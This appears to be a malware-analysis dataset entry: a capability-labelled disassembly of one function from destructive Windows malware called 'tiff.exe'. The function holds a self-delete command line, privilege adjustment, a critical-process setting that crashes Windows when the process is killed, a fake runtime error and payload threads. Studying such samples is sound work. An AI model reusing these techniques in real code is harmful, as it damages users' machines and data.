Function at 0x4058b0
Capabilities:
Check if file exists
Create process on windows
Create thread
Delete file
Get file attributes
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4073a0
mov eax, dword fs:[0]
push eax
sub esp, 0x8b0
mov eax, dword [0x40c004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x500]
xor edi, edi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x405e4d
lea eax, [ebp - 0x4a8]
push eax
push 4
lea eax, [ebp - 0x4a4]
push eax
push 0x14
push dword [ebp - 0x500]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push dword [ebp - 0x500]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
cmovne edi, dword [ebp - 0x4a4]
call esi
test edi, edi
je 0x405e4d
push str.C:Windows_flag.txt
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x405e2e
push 0
push 2
push 2
push 0
push 0
push 0x40000000
push str.C:Windows_flag.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x405e2e
push eax
call esi
mov ebx, dword [sym.imp.USER32.dll_MessageBoxA]
push 0x40034
push str.tiff.exe___Malware_Alert_
push str.Warning___nThis_virus_modifies_the_computers_boot_sector_and_alters_system_files__nThis_virus_bypasses_UAC__so_it_runs_with_administrator_privileges_without_requiring_an_administrators_execution__n_nThis_virus_contains_a_visually_disturbing_payload_and_a_photosensitivity_payload__nIf_you_suffer_from_photosensitive_syndrome__press_No_immediately____nThe_source_code_for_this_virus_has_not_been_disclosed__nDo_not_download_it_if_you_come_across_the_source_code___n_nIf_you_do_not_wish_to_execute_this_virus__please_press_No._nThis_virus_is_created_for_educational_and_research_purposes_only__n_nDo_not_misuse_this_virus___n_nThe_creator_of_this_virus__Are_you_Human___will_not_be_held_responsible_for_any_misuse._n_nAre_you_sure_you_want_to_proceed_with_execution_
push 0
call ebx
cmp eax, 6
je 0x405a3e
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x104
lea ecx, [ebp - 0x21c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x21c]
push eax
push str.cmd.exe__C_timeout__T_5__NOBREAK__del__F___ls_
lea eax, [ebp - 0x424]
push 0x104
push eax
call fcn.00405840
push 0x40
lea eax, [ebp - 0x4e8]
mov dword [ebp - 0x4ec], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x1c
lea eax, [ebp - 0x4fc]
push eax
lea eax, [ebp - 0x4ec]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x424]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0x4fc]
call esi
push dword [ebp - 0x4f8]
call esi
push str.C:Windows_flag.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:Windows_flag.txt
call edi
push 0x40034
push str.tiff.exe___LAST_Malware_Alert_
push str.LAST_Warning___nThis_virus_modifies_the_computers_boot_sector_and_alters_system_files__nThis_virus_bypasses_UAC__so_it_runs_with_administrator_privileges_without_requiring_an_administrators_execution__n_nThis_virus_contains_a_visually_disturbing_payload_and_a_photosensitivity_payload__nIf_you_suffer_from_photosensitive_syndrome__press_No_immediately____nThe_source_code_for_this_virus_has_not_been_disclosed__nDo_not_download_it_if_you_come_across_the_source_code___n_nIf_you_do_not_wish_to_execute_this_virus__please_press_No._nThis_virus_is_created_for_educational_and_research_purposes_only__n_nDo_not_misuse_this_virus___n_nThe_creator_of_this_virus__Are_you_Human___will_not_be_held_responsible_for_any_misuse._n_nAre_you_sure_you_want_to_proceed_with_execution_
push 0
call ebx
cmp eax, 6
je 0x405b07
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x104
lea ecx, [ebp - 0x424]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x424]
push eax
push str.cmd.exe__C_timeout__T_5__NOBREAK__del__F___ls_
lea eax, [ebp - 0x21c]
push 0x104
push eax
call fcn.00405840
push 0x40
lea eax, [ebp - 0x4e8]
mov dword [ebp - 0x4ec], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x1c
lea eax, [ebp - 0x4fc]
push eax
lea eax, [ebp - 0x4ec]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x21c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0x4fc]
call esi
push dword [ebp - 0x4f8]
call esi
push str.C:Windows_flag.txt
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.C:Windows_flag.txt
call edi
lea eax, [ebp - 0x49d]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
push 4
lea eax, [ebp - 0x4a4]
mov dword [ebp - 0x4a4], 1
push eax
push 0x1d
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtSetInformationProcess]
call fcn.00405860
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401d70
push 0
push 0
call edi
call fcn.00405080
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x3bc
lea eax, [ebp - 0x8bc]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea eax, [ebp - 0x79c]
push str.Oops..._Youre_Ducked_Up__nyour_pc_is_died__n
push 0x100
push eax
mov dword [ebp - 0x8bc], 0x3bc
mov dword [ebp - 0x8b8], 0
mov dword [ebp - 0x8b4], 1
mov dword [ebp - 0x8b0], 0x10
mov dword [ebp - 0x518], 3
mov dword [ebp - 0x59c], 0x3d090
call esi
push str.tiff.exe
lea eax, [ebp - 0x598]
push 0x40
push eax
call esi
add esp, 0x24
lea eax, [ebp - 0x8bc]
push eax
push 0
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push 0x40010
push str.tiff.exe___System_Error
push str.The_program_is_cant_start_because_vcruntime140_1.dll_is_missing_from_your_computer._Try_reinstalling_the_program_to_fix_this_problem.
push 0
call ebx
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401db0
push 0
push 0
call edi
push 0x74
lea eax, [ebp - 0x498]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov dword [ebp - 0x4f8], 0xac44
add esp, 0xc
mov dword [ebp - 0x4f4], 0x6baa8
movq xmm0, qword [ebp - 0x4f8]
movq qword [ebp - 0x49c], xmm0
mov dword [ebp - 0x494], 0x406110
mov dword [ebp - 0x4f8], 0xac44
mov dword [ebp - 0x4f4], 0x6baa8
movq xmm0, qword [ebp - 0x4f8]
movq qword [ebp - 0x490], xmm0
mov dword [ebp - 0x4f8], 0xac44
mov dword [ebp - 0x4f4], 0x6baa8
movq xmm0, qword [ebp - 0x4f8]
movq qword [ebp - 0x484], xmm0
mov dword [ebp - 0x4f8], 0xac44
mov dword [ebp - 0x4f4], 0x6baa8
movq xmm0, qword [ebp - 0x4f8]
movq qword [ebp - 0x478], xmm0
mov dword [ebp - 0x4f8], 0xac44
mov dword [ebp - 0x4f4], 0x6baa8
movq xmm0, qword [ebp - 0x4f8]
movq qword [ebp - 0x46c], xmm0
mov dword [ebp - 0x4f8], 0xac44
mov dword [ebp - 0x4f4], 0x6baa8
movq xmm0, qword [ebp - 0x4f8]
movq qword [ebp - 0x460], xmm0
mov dword [ebp - 0x4f8], 0xac44
mov dword [ebp - 0x4f4], 0x6baa8
movq xmm0, qword [ebp - 0x4f8]
push 0
push 0
movq qword [ebp - 0x454], xmm0
mov dword [ebp - 0x4f8], 0xac44
mov dword [ebp - 0x4f4], 0x6baa8
movq xmm0, qword [ebp - 0x4f8]
push 0x3e8
movq qword [ebp - 0x448], xmm0
mov dword [ebp - 0x4f8], 0xac44
mov dword [ebp - 0x4f4], 0x6baa8
movq xmm0, qword [ebp - 0x4f8]
push 0x406470
movq qword [ebp - 0x43c], xmm0
push 0
mov dword [ebp - 0x4f8], 0xac44
mov dword [ebp - 0x4f4], 0x6baa8
movq xmm0, qword [ebp - 0x4f8]
push 0
mov dword [ebp - 0x488], 0x4061a0
mov dword [ebp - 0x47c], 0x4061e0
mov dword [ebp - 0x470], 0x406230
mov dword [ebp - 0x464], 0x406270
mov dword [ebp - 0x458], 0x4062b0
mov dword [ebp - 0x44c], 0x4062f0
mov dword [ebp - 0x440], 0x406330
mov dword [ebp - 0x434], 0x406380
movq qword [ebp - 0x430], xmm0
mov dword [ebp - 0x428], 0x406420
call edi
push 0
push 0
lea eax, [ebp - 0x49c]
push eax
push 0x4060d0
push 0
push 0
call edi
call fcn.00401eb0
push 0x40000
push str.tiff.exe
push str.YOU_CANT_RUN_AGAIN_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 4], 0
call fcn.004015c0
jmp 0x405a36